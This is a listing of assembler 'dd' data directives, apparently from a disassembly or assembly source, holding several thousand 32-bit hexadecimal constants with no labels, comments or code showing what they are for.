dd 94417B53h, 0B0414275h, 8BEEBD73h, 197B0441h, 5B0F23E9h
dd 3738B98Bh, 61A95F7Bh, 15C1D669h, 0AB9A8F9h, 3C13C8CAh
dd 78D6EEBBh, 4897DAC8h, 6A5DF187h, 53028D97h, 876816A5h
dd 7672CB5Eh, 0CC19D658h, 0CA3836DAh, 0B0578AA5h, 8F037C96h
dd 62AD53B8h, 0DB75D9B9h, 27A18FB7h, 0BED1ECAEh, 99859017h
dd 222094ADh, 10098AFEh, 914D3221h, 8E619752h, 0D39658CFh
dd 0CD2591F4h, 0DE07D738h, 0B849B515h, 5B4060DDh, 48DE20CCh
dd 0E7484D99h, 0C9AD19E1h, 78856D20h, 0C5ABF918h, 71E7E31Dh
dd 0ABC36C01h, 5F843A0Eh, 5862C562h, 673D15DEh, 0D19AADFh
dd 1E60469Eh, 226C184Dh, 0B3DF2959h, 71F4F1h, 0F201FD2Ch
dd 1E1FDE8Eh, 67EEC5B0h, 0DD9EDD46h, 5D270C94h, 69765B10h
dd 0D4D34084h, 544CB341h, 0A455EDD7h, 62E16A19h, 639AE8AEh
dd 7ED96B7Dh, 3A96A584h, 0C4BAC6B9h, 54C4FFBh, 0A3D9CB60h
dd 860D756Dh, 0DB80DD7h, 0F7EC9C65h, 76014687h, 0F0799D3Dh
dd 6CDC7452h, 0BB7035Bh, 45B7B0FDh, 63039002h, 3ED2DD33h
dd 66A04862h, 0C107FFDCh, 0E8FBAC10h, 548FC80Dh, 7DD193B3h
dd 0EDD3042Ch, 257F5D63h, 52F5CEEFh, 0E37D016Dh, 245854AAh
dd 5F60E8B4h, 3EDA43CBh, 96B5A072h, 3C8334A3h, 806D46F4h
dd 514D3A8Ch, 7F0F69FAh, 57903E1Ah, 6697E9D6h, 2846030Ch
dd 0BC1FA75Dh, 0CE71699Dh, 0AE2FD2A5h, 88ABE138h, 0E1DAB514h
dd 6BCDFC40h, 0B380DBE2h, 541EDBEAh, 0AF29B8DDh, 338B95A8h
dd 1AAE32E2h, 1F3421Dh, 0D38AA1C1h, 0F74738DBh, 1C15A5AFh
dd 0BAA001B6h, 0C5E13D1Ah, 4FE608C7h, 84FB2C58h, 4F8259D5h
dd 0D9926535h, 6EB70A42h, 0D4DF2777h, 0A22D8E1Ch, 0BA5D2097h
dd 0E86EB307h, 0E3B3ADD5h, 0B7B1060Dh, 0D0240426h, 3230BCEAh
dd 1F32FAE6h, 10095A4Dh, 0A9AED251h, 9EA3E687h, 86A001D4h
dd 0A7B5A29Bh, 0A4EC19A7h, 738A4717h, 0B2D72ACAh, 0DF2C80F8h
dd 792DCEA5h, 79EA67E9h, 89585A7Ch, 78BEB0BFh, 8D49160Ch
dd 91F942BCh, 765494B5h, 603E5AFFh, 23FC7129h, 0C15BF635h
dd 3307D8F2h, 0D377C7E5h, 0C43101B4h, 312C36B4h, 0A73E1518h
dd 4D30C5AAh, 46487910h, 0DEC34E4Fh, 0A997ADD8h, 679FE13Ah
dd 0CB13D758h, 0B5D72470h, 0FB79B51Dh, 53347Ch, 0BDCE1483h
dd 5400BBDBh, 6ACEF17Dh, 0B64EC086h, 0C95B38C4h, 0CBB633CFh
dd 1B645BCCh, 3531CA93h, 0C644C0C7h, 8EFE68AFh, 0EC8D6B03h
dd 0DD3262E6h, 1098CDBAh, 7B7CF4CEh, 2BFB90F5h, 0FF5A95DBh
dd 90567854h, 9141EC13h, 0CB0F1AABh, 8DB526C6h, 7C08DA14h
dd 912F93BBh, 4D4B3503h, 0FC2A3458h, 6A185A9Fh, 0C44CD319h
dd 0A3943E60h, 7525FCE8h, 0AF450C8h, 2FD4ED4Fh, 45E68530h
dd 4B90F044h, 0C961D519h, 48DDCC0Eh, 7AE1D130h, 8CF91C2Eh
dd 6A3558BFh, 16512B3Bh, 4DD48B89h, 801F62E8h, 0FECA8E79h
dd 0CDFAD6D3h, 317774EEh, 4C655571h, 0FE6D9EF5h, 0F9B7FDAEh
dd 7632767Ch, 1D68816Ah, 2AAD17E6h, 0E2D13FBh, 9A7C686Ah
dd 4DC89D60h, 49846980h, 0B8F5E351h, 1B0BB250h, 0D9096AA0h
dd 0F36FEAFFh, 817252BEh, 6413C8A4h, 8C7A47ECh, 0BC94B6EBh
dd 0BCA39EBFh, 0A17F8DE1h, 393E5765h, 0C473A1ECh, 0FA450637h
dd 21B36998h, 6B8340BFh, 1D8398E6h, 0C49FBAFEh, 0E9262CF2h
dd 0C03B23E8h, 4AE2080Ch, 4E9DA3BCh, 5B1228A8h, 32A42994h
dd 23493984h, 1086540Ah, 0D75ADB50h, 0AC3BC973h, 3D0CFE08h
dd 0D0F3C2E5h, 84C0E41Ah, 2185ADC1h, 29FB64EDh, 164175EDh
dd 7534F58Fh, 0A68F3CC1h, 20E88830h, 0B9B7648h, 4BD36160h
dd 4A63D9CDh, 0FB3EEBF5h, 0D57EDCBFh, 7D899C8Bh, 675683CEh
dd 23A98CDAh, 11F18A88h, 1ABFF623h, 94D28F9h, 0B0FF4DD0h
dd 0A431106Bh, 61898998h, 0AB56B2Bh, 7DDCF141h, 0C0EEBDFAh
dd 5DA5A1EFh, 988E538Ch, 808F907Eh, 0BFD87CE2h, 10089936h
dd 0F27DD7CDh, 706405D4h, 793A0852h, 0D0990ED8h, 1C0D6Ch
dd 0A8C46575h, 0FA4B5DBCh, 41B16DCEh, 5BF0F2F1h, 86C29F9Bh
dd 0FB644B78h, 8F366335h, 0E9B5AC2Ah, 0AA6CABD4h, 1F80AE69h
dd 6DC81DB1h, 0AAD9A2E5h, 12F58653h, 6AF169CAh, 0E49F268Dh
dd 26C14AEh, 4E7F293Fh, 0D4A9C1A0h, 0A83352BAh, 0D1C76304h
dd 46AF6867h, 827F3288h, 1C83301Dh, 6062F32Dh, 15810717h
dd 432F8293h, 8C8A0680h, 0D6F5FC72h, 182E7991h, 6FD90471h
dd 27FA5824h, 0A3A75E25h, 0E4E52007h, 1880C8Fh, 14618E06h
dd 7059D14Ah, 0B9AA7592h, 1C22089Eh, 0DEE08262h, 0F6018C2Ch
dd 7652D66Ch, 0A03067E4h, 0E3C244D8h, 0F23B42F6h, 0A456ACC6h
dd 3C9D857h, 0FB1A4B10h, 7764838Eh, 68AB64CBh, 0E66D1BF4h
dd 0B5DDC724h, 486A9049h, 1D3FC796h, 17E4DC66h, 83FDB247h
dd 4ADFE498h, 0E27CD60Dh, 0F4E94F9Fh, 0C4330D13h, 0C377C982h
dd 36CD73D8h, 453387E6h
dd 893C167h, 6625BF43h, 6EB53D6Eh, 0F0B8311Ch, 900DFF3Eh
dd 85CAAD1Bh, 0CAE7817Dh, 0F6E3BC7Bh, 174592D0h, 4C5A3EBEh
dd 0A6AEE5EDh, 0D7FBF680h, 0C42806B1h, 0A6380253h, 5DFC1A18h
dd 4FDB6B31h, 716A143Fh, 1F76C061h, 0F1F043ECh, 656C2A1Eh
dd 0B52FEC91h, 0BA672935h, 0CA4E700Dh, 6ED68D4h, 0EB58CEA6h
dd 71BCB33Fh, 677D9661h, 85114134h, 9D96137Ah, 0B1172A76h
dd 6366E5A9h, 595C10DBh, 481BF65Bh, 8BC8F6Fh, 81A56E43h
dd 0BD42EE48h, 63FBA0D9h, 18DF2B43h, 0B8303F85h, 0A9CF2E2h
dd 67DCCF4Bh, 0CE1F9AFEh, 7426D614h, 1447C0EBh, 97355F86h
dd 4C48405Ch, 91020C49h, 3CB2C0Dh, 3F5A195Ch, 0F8BB87C1h
dd 0B450C2BDh, 1AE83098h, 8D0E6DBh, 3DFBA8E6h, 0FA696153h
dd 64D512C9h, 611138B8h, 0BE5547Bh, 681241D1h, 0F6B3CE95h
dd 11B9528Dh, 0AA3BEB9Bh, 0B371F1B2h, 0A6303BAFh, 5EA98742h
dd 90514233h, 0B86109E7h, 0B89A4DEFh, 0E83648C9h, 0A546616Ch
dd 0FF4EBDB8h, 0E3BA624h, 9685CF7h, 1A0AC54Ah, 0B03B5BC7h
dd 7944249Ch, 9BD7C6AEh, 37995740h, 84910D62h, 6AF44DB3h
dd 0EFD7B631h, 94BD585Eh, 1966549Dh, 33FAE915h, 0ECF23BC0h
dd 29A02465h, 9D9F7054h, 97921F20h, 0F62B51F4h, 8F05B5FAh
dd 0F21DC3B9h, 209321A4h, 0D9DC87B5h, 1B43D086h, 0CC163755h
dd 78011EDBh, 99D1FEB2h, 6484DBB8h, 0D4F94851h, 0C06DD9DFh
dd 0E1A04A48h, 820BDE3Dh, 0C2437788h, 3C3D6DD6h, 94691DAh
dd 78E60E23h, 55E8BF5Eh, 0F312AB89h, 0F5316FE9h, 0D91F30BAh
dd 78EAC416h, 0A6E1BA62h, 0CDA8FFA5h, 0C1BD32E4h, 0BC26CC6Bh
dd 90A80E26h, 0C22F2EF8h, 0B6CECA76h, 897BE3A9h, 0A0187F9Eh
dd 0DEF5B89Ch, 81D3DD3Bh, 1951186Bh, 0DF68D1EEh, 97488892h
dd 8D46356Eh, 17AABEB2h, 0EEEB60CDh, 71CF9477h, 0C008E8D1h
dd 37E170C5h, 0F0494B95h, 8A54BC48h, 0E2FD9EEEh, 2FC7F76Bh
dd 0D773BCD4h, 693B704Ch, 0D5B12F80h, 68C8B9A6h, 58AD3A01h
dd 3938E079h, 551383D0h, 0AA5ED524h, 0F12EC8B0h, 837B284Dh
dd 0AE746E26h, 0DDDC8007h, 58D94BD9h, 548E99F4h, 0DFA4896Dh
dd 0B84EC94Bh, 0D2E70EA6h, 95C7CF9Dh, 78849B1Ch, 28DE594Dh
dd 475EF274h, 123875F5h, 0E1C99208h, 0B6A5A59Eh, 0DDD80F7Ch
dd 0D1AA58FAh, 399E56DEh, 3AE78696h, 22D714DDh, 172C9h
dd 0BDB1B489h, 783CF3D1h, 0E51756E7h, 0BE760612h, 0A7149CF3h
dd 0B04FB359h, 0B7CD6D6Ch, 0ACAEA270h, 67361DB8h, 0B1489791h
dd 54895793h, 665AFA92h, 8D73E66h, 84F7518Dh, 750756EFh
dd 0AD37743Ah, 686C8EE9h, 8B97F8FBh, 70A3E2C7h, 97169E0Eh
dd 0DA9513FCh, 0D2F89AC2h, 0DE5F4DD8h, 6E3CC5h, 0AD5D0D30h
dd 946E5EC3h, 98DE7E97h, 0CB2F36F0h, 0B1FE354Bh, 0E701D69Ah
dd 21A6006h, 95B68F61h, 0EC45D3F6h, 6A5BE795h, 6AF27DF7h
dd 0BC4C34ADh, 297C8B87h, 543957CCh, 94B3EDE5h, 3C407081h
dd 0A255FE81h, 79ACF7B0h, 8694E378h, 0C6415445h, 0CF4A0015h
dd 0BB35F45Bh, 651ACBB6h, 0BB426D55h, 9C0DE1E4h, 62E33CC5h
dd 3AC699C2h, 31DB52D5h, 5DBC295h, 1B1F5D17h, 1D352204h
dd 2E23DCF2h, 0A795AC65h, 40174E2Ch, 6CB0C247h, 0CEFC72BCh
dd 4430FB99h, 88A0FD0h, 915986B8h, 345FE5F1h, 84E55AF3h
dd 20058A9Eh, 6D532DEBh, 493E0CC3h, 9D5D6324h, 93CDE7D1h
dd 57C2EB38h, 96530B6Fh, 2193DF22h, 62796BC3h, 0E6B6E838h
dd 8BC20CE9h, 1D64F18Dh, 0D54D4FE8h, 31E84F6Ah, 0ACD9BF44h
dd 0FC57397h, 0C0BAF1EEh, 40F72277h, 0CE8AAAE8h, 754AF521h
dd 0DD4E07BBh, 45E16D60h, 2D9345Eh, 21531h, 8FDA319h, 3BD03AE9h
dd 0AD03035Dh, 0A00E4CDEh, 8479C2A3h, 0EF69878h, 0DBC724B7h
dd 42AFE28h, 0DB10CC58h, 0D3612E47h, 2960E97h, 468FCFDDh
dd 757F86A7h, 0F052046Eh, 411DF9F4h, 9F54930Bh, 6C7C8211h
dd 0E278FA99h, 0BD8582B9h, 419A2EC0h, 0E06D7205h, 7C93486Eh
dd 0F7E702FDh, 9285EC1Fh, 0F7AF209Dh, 0FA9D2764h, 72BF5F32h
dd 6DEC1AB7h, 0C80705FFh, 0CBDF105Dh, 80E0BCCh, 3E15CDF3h
dd 0DC6F83E1h, 91C1987Dh, 81FCD48Dh, 6687D433h, 2026DE35h
dd 67B81D45h, 8B64B252h, 7CFA8F6Bh, 8C1BB2A6h, 0C93919D7h
dd 590D6296h, 0FF16B637h, 39AD8285h, 236880h, 32C4ECD7h
dd 584BD309h, 2A3EB4BEh, 5E5920D4h, 69261651h, 0ACDD2D13h
dd 63736F5Eh, 0C8B9E79Ch, 2E0AE2C1h, 28965C60h, 0A77ACCDBh
dd 0CAC7540Eh, 0A5E5135Dh, 0B143FE7Bh, 0A39F5FFCh, 6AB22232h
dd 8B5A997Eh, 0F4FE055Fh, 0B3612C9Eh, 0DB326A63h, 0D4C58254h
dd 0ED81C33Ah, 92B4D9Eh, 4C8702F7h, 832F19BFh, 17D87C66h
dd 832D490Eh, 4E05928h, 0FE96E4DDh, 4A44884Bh, 0AC3D4AF4h
dd 2E3DE5D0h, 1BF56926h, 50B127B8h, 837D26BBh, 0D999BD98h
dd 528B6B40h, 59554670h, 65537D78h, 0FF93FB5Dh, 2EAE933Eh
dd 0A85BD0D1h, 0B3906BEEh, 0E8F71FA4h, 286BF038h, 7428171Dh
dd 6EF7ACB1h, 885158ECh, 2B71CEB1h, 6489AD15h, 0E3CD7E9Bh
dd 62AE7E56h, 583D3A5h, 8364D052h, 1167F1B0h, 62C50D96h
dd 0C3D8BC89h, 0B82D87h, 0F4BCD665h, 0F37BE02Fh, 6AEEAD9Ch
dd 1889FFE7h, 73945E2Ch, 85C28A8h, 5B929AFh, 1F1839A9h
dd 0C0DC64D6h, 1A5C280Fh, 1A92C527h, 6DF92B02h, 0DE705A69h
dd 0D2A55368h, 743E9A18h, 5F83182Eh, 0D060D695h, 0F2AE50A6h
dd 432E1E72h, 64295972h, 85A41D02h, 7D0E480Fh, 906ED962h
dd 55640AE9h, 0C1A62DB9h, 7E0DB6D2h, 0FD344CE4h, 0E4750DE1h
dd 8C31D43Bh, 50665BD8h, 0B0AB3A8Dh, 0A557D2F9h, 1963BF4Ch
dd 8F959725h, 46453827h, 0F77A84FBh, 2F72DEABh, 6BEE0F5Dh
dd 0E1728A16h, 12279B3Dh, 8FE0ED3Bh, 1B87BFE1h, 36414A62h
dd 8E0CD753h, 0B79B28FFh, 37F37ACFh, 37AC0753h, 14D7BF13h
dd 1E55BAD6h, 13BD3C8Ch, 5E2283FAh, 9639D992h, 75395F6Ch
dd 0E0E8A0B8h, 0A82B1A88h, 0E9A056ACh, 525D908h, 3B9F1E9h
dd 130DCACFh, 0A2AB8865h, 0D38940C4h, 479DBB3Eh, 0F8B94E23h
dd 7CC362EFh, 90C64AF7h, 153719C1h, 0C958382Ch, 0B67455D2h
dd 1F945DB7h, 0DFA5CC81h, 2DCC6E02h, 0E7547B48h, 535A5BE8h
dd 88FB7A1Eh, 37E40E48h, 616A5F70h, 2B5DEC94h, 3EFA936Ch
dd 6103B3E0h, 2B453A1Fh, 0B1F5F6D5h, 91DFA943h, 75BC71BDh
dd 879F9FE9h, 0C5382C09h, 65AC3D0Ah, 0A6B64222h, 18A77358h
dd 374D3546h, 3699C991h, 0C124EC44h, 0F28EBF51h, 1AEB168h
dd 8B1E876h, 0A438A164h, 0BD1AB601h, 56D0A6B8h, 4FCB20ACh
dd 0C616BC04h, 0F23DA399h, 0E6EF098Ah, 77974C04h, 9B26B0E9h
dd 0F159F057h, 0CD39899Dh, 0DB360533h, 0A48AB859h, 205DBF96h
dd 0EA3F3034h, 1D64BC4Eh, 0FEECE37Ah, 968CAA75h, 21F103Bh
dd 0FBC5C676h, 3D135A2Dh, 51314FECh, 4447B550h, 90D7C400h
dd 2C759211h, 367CB323h, 5B15B4B8h, 0C58938EAh, 0B5DDEAFh
dd 0A00F2E10h, 0F42092C9h, 7F18640h, 3795A9AFh, 0B1ED2846h
dd 86BD4FC3h, 6BE03F86h, 0B706E398h, 80EE961Ch, 466E65DDh
dd 0B195096Eh, 0FC7ACA60h, 1A1A4F81h, 71728328h, 0F8C555FBh
dd 4354F321h, 29E66771h, 5025D03Eh, 664BCD51h, 9CE9A829h
dd 0CFE6FBAFh, 2BDA3225h, 0B6029E7h, 6DFA5B21h, 6CD01B1Ch
dd 0F63E3F21h, 1E7FA218h, 0B0CD2B1Ah, 5E5F1D49h, 47892404h
dd 9AB282BCh
dd 0AF2733C4h, 4B5161D1h, 0FCC645CAh, 9420176Ah, 5D32C6D6h
dd 30F7EB20h, 0B8C04E00h, 997FD4D3h, 4347570Dh, 9C269800h
dd 0AA3B3092h, 5ECE3D6Ch, 93B98CB8h, 129CDFCCh, 94DE7960h
dd 364433C1h, 95B1CE9Eh, 96BE2E63h, 278A5AE0h, 0F56DF1A9h
dd 59C36847h, 8DE2570Ah, 38F1D9E5h, 8C43604Ch, 5F3D7076h
dd 0FC9A3AB5h, 0B9A3975Ah, 5A9569E0h, 639FC5B2h, 2CE1A802h
dd 9D8BC59Fh, 70BEAA21h, 15167BB7h, 0F5EA277Fh, 801BF0Ch
dd 42291BE8h, 0CF985366h, 9D141824h, 65EE2F89h, 0F2673CAEh
dd 968420FFh, 0BF0E2C75h, 0C838570Ch, 0BE0BCF5Bh, 842CCFD6h
dd 2A531374h, 9E676398h, 3FE81F94h, 0DD1682B5h, 259DD381h
dd 709EE1Eh, 988182EFh, 0E2F193F8h, 0AD9F86C3h, 0E26C61F4h
dd 0E4321116h, 282EB57Fh, 7A29AF8Eh, 0E6F25245h, 0CC6B74E5h
dd 0D648AB1Ah, 82DE09D7h, 1C96698Eh, 0B9FA4DBAh, 0F0462154h
dd 0DD2B9BACh, 0BCA07D68h, 0DFAA29C7h, 1FA3018Bh, 9B36AFE4h
dd 0DE3756DFh, 96D3BA9Fh, 0DF57001Ch, 0A60E6C3Ah, 0AF4BBFAEh
dd 0EE1BCD24h, 0D5349DA7h, 54ED9050h, 3AC5B5Eh, 62592671h
dd 5FF306E7h, 50F9C4B4h, 420B2FD3h, 0E5DA16E6h, 4BCA25A8h
dd 9F804358h, 81DF05AAh, 3801D4E6h, 0D35173BEh, 7897546Ah
dd 0ADB68D3Fh, 7BF5A95Dh, 0E2AFD7DBh, 54B2BF9Ch, 48EC7D29h
dd 1F3D3BDEh, 0D5578FC6h, 0E1D219E7h, 0D74BE126h, 0D5D01EE5h
dd 3081AB4Ch, 92942979h, 0FB8D5325h, 0E19B8C08h, 4F9E53A7h
dd 0F64E065Dh, 725112Ch, 83E09326h, 5F0DC990h, 0DFE851FAh
dd 0CD689A79h, 0CCA020CCh, 0F1C37FC6h, 0E2BAB380h, 0CCFFED95h
dd 134213EEh, 0EA7BFF54h, 0BC106F45h, 2B9968EAh, 7628A195h
dd 7872E2CDh, 267632E2h, 0C8868DB1h, 82EC3F21h, 270B9D3Ah
dd 0D355D22Dh, 156C2346h, 6966499Dh, 10479E2Ah, 698777B1h
dd 0F4099441h, 0EC27997h, 0D7E6F404h, 7BE0C608h, 7993AE68h
dd 9E7F1E72h, 22975F72h, 0ED98E510h, 0B058A74Bh, 9BE0977Dh
dd 80DCEC1h, 9D08C19Ch, 4AE96F12h, 0EDCD6EDh, 1BEC0CFh
dd 0AC626C73h, 0A9BC4AD6h, 33563D6h, 63D99330h, 7B366CEh
dd 0A455452Fh, 2A379FB9h, 0B33548F8h, 84C8F3BCh, 9B49CB3Eh
dd 0FDE3EDF7h, 1CD12542h, 0E236518Bh, 658F3445h, 0AC15DA15h
dd 0B7A9258Ch, 24276442h, 142D3F73h, 7B20A94Ch, 0CD356F82h
dd 2FE0A283h, 5EC77E01h, 5935F801h, 0E2D16FBBh, 0C1C89A7Dh
dd 0E3A24F2h, 97E4F194h, 0AA617D51h, 0F95CE86h, 8C8D41BAh
dd 0CD264332h, 435CAD88h, 8C2B7931h, 0A7EDC1B1h, 2EF83960h
dd 5AC08D19h, 72CF0099h, 32D73058h, 73FF62E1h, 0DF4DA40Eh
dd 509DA680h, 0E5594465h, 0DF106BCDh, 795E865Dh, 931B0CFEh
dd 0E322307Ch, 10A28A0Eh, 0EE161B41h, 5CDE6A85h, 0B412419h
dd 0FBBC2DF4h, 0F82BB1Ch, 0D95CE304h, 2A015744h, 73632CCEh
dd 7C627417h, 352E92EEh, 0ED3C20BBh, 0E0CA2BF9h, 0FEC73959h
dd 8040FC7Bh, 0ED8AF3F6h, 9718C76Bh, 25654AE2h, 0DFA7691Fh
dd 50DCBF35h, 5B5B4C4Bh, 1D45BC01h, 112F46D9h, 7AD7B531h
dd 501A0D87h, 5BAE49E3h, 2C100C3Ch, 0E1837C30h, 585E0680h
dd 0EFF2463Ah, 4B8C99D8h, 0AFC65E12h, 5A9FFABCh, 22A96E26h
dd 4F9CAEB0h, 6EA9C381h, 290A134Ch, 0E7A6AEBEh, 0F6563A33h
dd 389AC20Dh, 2CF87366h, 1098CDFAh, 7E1AC220h, 108FBDD0h
dd 3DB05F9Ch, 0B37F3A54h, 59D5522Bh, 60BAA49Ah, 3305EDB8h
dd 6A360B92h, 5017E0F9h, 40A3081Dh, 0B2781B43h, 99E40A9Ah
dd 0C3112732h, 53417217h, 81E44F26h, 4A2DF73Fh, 357FF6CCh
dd 2BB126C5h, 966AAA9h, 0A8339762h, 6F53F080h, 190D8C3Eh
dd 0D62F1D6Ah, 36D20E0Fh, 124D41AAh, 0EEB58947h, 0F7A3C9A4h
dd 0E6CC6735h, 5D7A15D5h, 87250D55h, 0BBE5A34h, 1437DE9Eh
dd 59199E84h, 494B8E54h, 766AF155h, 0ADFAD255h, 0FB6B42D1h
dd 83919875h, 95F41BB7h, 82647960h, 0AE7BF5E0h, 1669156Eh
dd 0C5B14D37h, 0FE5BEFCFh, 817714C2h, 0AACCB06Dh, 767CB45Ah
dd 4676E77Dh, 7A1075Fh, 0BE31A7F1h, 41BB5531h, 76E2AD66h
dd 323BF6DCh, 0F2CD63CEh, 0B936ACA7h, 96151383h, 60CACD3Fh
dd 0E1E35B5Ch, 0A4136513h, 37D5A1DDh, 0E95B2C6Fh, 79C966A1h
dd 0C2F22FD7h, 4CD75B43h, 0F7586F72h, 0D60C5B7Dh, 0D176176Bh
dd 0FB23A25Bh, 6193E018h, 8E3759A2h, 0E310F934h, 78EB23FFh
dd 6F572723h, 97EC6752h, 8ACF9C49h, 0C96480F9h, 2E6533C6h
dd 1B13158Ch, 842D16E1h, 0B4C33000h, 58F52EEBh, 80526A43h
dd 265851EBh, 4B62AB50h, 3B03F12Dh, 0D81C35F7h, 29762342h
dd 0A6DDDE35h, 5518D18Ah, 2DD969F7h, 6EF95B09h, 0A7473C1h
dd 29691BAFh, 69159C7Bh, 0AA404AC9h, 35B5B904h, 0C4861C1Fh
dd 0D594FDB7h, 0E723F8AEh, 61F252Ch, 0BC4CA5DCh, 0D13D6CECh
dd 0AF42CA70h, 3AB0D82Ah, 1F37512Dh, 3E2C0293h, 9690C2B4h
dd 0BB982D56h, 8A761382h, 0DE033A73h, 8408B507h, 15AA6BAAh
dd 0A95448C4h, 9109A52Bh, 11D364A7h, 0AD20295Fh, 62BE4009h
dd 0F926B04Ah, 9673291Bh, 30659789h, 0EC098BC1h, 29655B32h
dd 329190F9h, 3C987800h, 5C3E8E06h, 5E5FEDC0h, 64ED42F3h
dd 0DB247A93h, 7BD3E368h, 9E280FDh, 9D828E23h, 17669D26h
dd 0A31EE02Bh, 70D93C90h, 0E4642541h, 4EFED2F1h, 0D3CF7C26h
dd 5F1D88F0h, 762FE986h, 23F0B9B8h, 20B47A52h, 0FF1C613Dh
dd 0E4D41E3Eh, 0EFA2ED3Ah, 74F0392Dh, 0B3833079h, 7C533F26h
dd 0ECD6FFF1h, 0C83954FDh, 0D61FD383h, 11D87748h, 0A7328F9Ch
dd 1AD1AACDh, 0F0308C8Bh, 394B110Dh, 30C60AB2h, 90C90572h
dd 1BBA1382h, 0C052E4E2h, 0BCECAF48h, 23E547D5h, 66D43125h
dd 93389066h, 952A2333h, 7EBC8DB4h, 77AF2254h, 0C805F548h
dd 0D3D77D9Fh, 5B8EFD9Ah, 4D140AAFh, 0C19D6E4Eh, 5F15098Ch
dd 9C8F6595h, 0ACCC2521h, 0B403A1E1h, 0DADD844Fh, 9657E298h
dd 8CB23B69h, 110FF8B6h, 0DD2FB702h, 334657FBh, 448FAD3Fh
dd 7D622F50h, 1B8EAEC4h, 0A8735C3h, 972648DDh, 1E66C524h
dd 0BE0B8563h, 501FB116h, 6619AAFBh, 8BC0F3C5h, 7BBEAD2Eh
dd 0D0A1D15Fh, 2BADCA55h, 3ECEF6CBh, 45AD8E0Bh, 0C5683416h
dd 0C7F88F7Fh, 0E804B0AAh, 0F801ABC3h, 6C868E43h, 724275B1h
dd 0AD2D545Ch, 83EFABC2h, 70938BDAh, 8479A5BBh, 1C229548h
dd 0EBF6259Ch, 4D6CD1D0h, 0D2254F99h, 3C2C68F0h, 0A7FE2D93h
dd 0D757730Dh, 7F34183Dh, 0A11F90C6h, 31940208h, 0AC1079FFh
dd 0C0901433h, 8AE0B48Bh, 0F351A17h, 0C5338954h, 8E874930h
dd 7800AEB0h, 0B939400Eh, 58F92D84h, 0ADB3C4A7h, 5EC1839Bh
dd 2335BFCCh, 23838DC7h, 0F056FA62h, 8B96AD97h, 96C683A2h
dd 97FC139Ch, 601EB1C7h, 0F3C90915h, 2C3C6C8Eh, 0FBA2ADB1h
dd 86F86061h, 72AF3B21h, 9744BA55h, 5EB97A4Fh, 39D7663Bh
dd 0B4D732Ch, 21BF2101h, 76EA2C9Dh, 0D6E62556h, 0A08533CCh
dd 7E84EA2h, 57DC0093h, 29691706h, 4B5632DFh, 0A7C543D2h
dd 2CA10AE7h, 0D603A276h, 0BC8D3E6h, 0C49282D1h, 0B5A8372Ah
dd 0A8875C30h, 0AEBD1B01h, 0B3BD1D3Ch, 36D53CCCh, 0CF983340h
dd 534D06BAh, 616E312Eh, 0E81387C5h, 0FFAF0852h, 7D40B4BAh
dd 0B5D4C846h, 3459A364h, 0D10FA499h, 0BE2D5E84h, 213AD9A4h
dd 60E0FD3Bh, 1DCB73Ch, 996C45CCh, 0FAFD0661h, 2F981F13h
dd 276F1F5h, 7BBBC984h
dd 0F77944BFh, 0CF78F7B1h, 0E2AC58F6h, 952109B1h, 0B8A333A2h
dd 0F330A2C3h, 3D766A7Fh, 0CB1807F5h, 5A5D981Dh, 0DA30F0EDh
dd 6E85CD0Fh, 0B1B285DCh, 6E8B24F2h, 47055A03h, 18CAA5E3h
dd 69F3C585h, 0EBC2F0Eh, 7D3BD126h, 0A494B008h, 0FB751Dh
dd 776536E3h, 61099F84h, 0D37BE1F2h, 0E9106E00h, 8DF6A0D0h
dd 0BC823DE4h, 14AA3451h, 1B0AAB7Ch, 8D3A3772h, 34D2A851h
dd 0ECDCEFEh, 9844F507h, 797CFDC6h, 4DFC6DF0h, 187A680Eh
dd 922AB9D8h, 73161324h, 0E56F5133h, 0EB52C161h, 6ED82C03h
dd 9324F305h, 0A968DE72h, 0E92E5FACh, 7966F4BFh, 7DADB35Eh
dd 8CCA555Eh, 0EF170398h, 5576A343h, 1DE15BDBh, 0AB201E8Dh
dd 0F57DD904h, 0BF7B11B9h, 8CCC457Fh, 0E635B68Ah, 5E9953D9h
dd 0E83A651Fh, 0ABEA1ACEh, 85D18B05h, 6E185CBFh, 10FF557Ah
dd 0ADA2AA29h, 0C17056ADh, 7541104Fh, 1988F9FBh, 0C6469EBBh
dd 1B28792Ah, 0E2345B65h, 0BD18983Dh, 2EAE9D59h, 0B3904A72h
dd 0C5A9975Ah, 0FABF073h, 0AB8F9F79h, 0AA0B570Ch, 59EDD1ABh
dd 2B9607CEh, 0C34BADDBh, 0C6641114h, 6F444606h, 22D219Dh
dd 1AB9EB7h, 5421B585h, 84BFCA0Dh, 52BFDACEh, 0C90C0649h
dd 0C969ED6Dh, 1DAC20ECh, 0ACE2C087h, 6B7CA4B1h, 0A20B3DF2h
dd 55D21BFAh, 0E95CA056h, 0FD7CFF85h, 0FD9EED32h, 0A1CB9B27h
dd 859C6961h, 0F572194Ah, 0D8E7CA4h, 13F5AF93h, 0A6EFD472h
dd 0E81B66F3h, 0E009473Dh, 299B344Dh, 8EBA2293h, 0D0ACC8C6h
dd 7B905DE8h, 189D1AB9h, 0B4C04E1Bh, 0BFC1E9E3h, 1C9D231Fh
dd 70D6CB61h, 544B1647h, 0DFA99FDBh, 65CE82D7h, 0AC037317h
dd 0F4DB4CFFh, 0C4D942D7h, 8FBD36E9h, 0AC3A8209h, 0D0AD5103h
dd 7E234201h, 5ABAFF12h, 69EFE864h, 5391ADD2h, 0DAAD704Eh
dd 4899FC0Eh, 2D4230CDh, 3FA7C0ADh, 0B0F89FABh, 0FFFA6F60h
dd 39AB064Dh, 439813B7h, 141EDE22h, 7FC46847h, 0F334A0BCh
dd 441BA1B4h, 0E0DE97E7h, 0C58085BCh, 7262CB71h, 0D88839C2h
dd 0FFF1C193h, 0A1C8AF1Ch, 824B3463h, 2A0FC43Ch, 3DB3EC55h
dd 2862FBDDh, 88814114h, 19774CE0h, 793A6E37h, 5309F621h
dd 0DE0A91BCh, 61B49600h, 0EC25E740h, 71BE7369h, 863BA2E9h
dd 51A686FEh, 96109E8Ah, 172139C4h, 0FED4414Bh, 4EFC3938h
dd 34AAA71Dh, 45A00321h, 0A8811A53h, 912E21E7h, 31F2535Bh
dd 572910Bh, 0C5835F1Fh, 6BC18D3Dh, 48DA7C23h, 3B20E6ACh
dd 0B8F1829Fh, 0AA09ACA1h, 90774C42h, 0F158D2E1h, 0A606E216h
dd 3809BECEh, 8A391B0Ah, 7C2F4187h, 0BB17285h, 0C1E14584h
dd 1B3FFDD0h, 761F7025h, 0D013E627h, 0E4492698h, 366D1488h
dd 69C97DC8h, 0F7D5D415h, 0E7CF40D9h, 0A7D658B8h, 294F30E2h
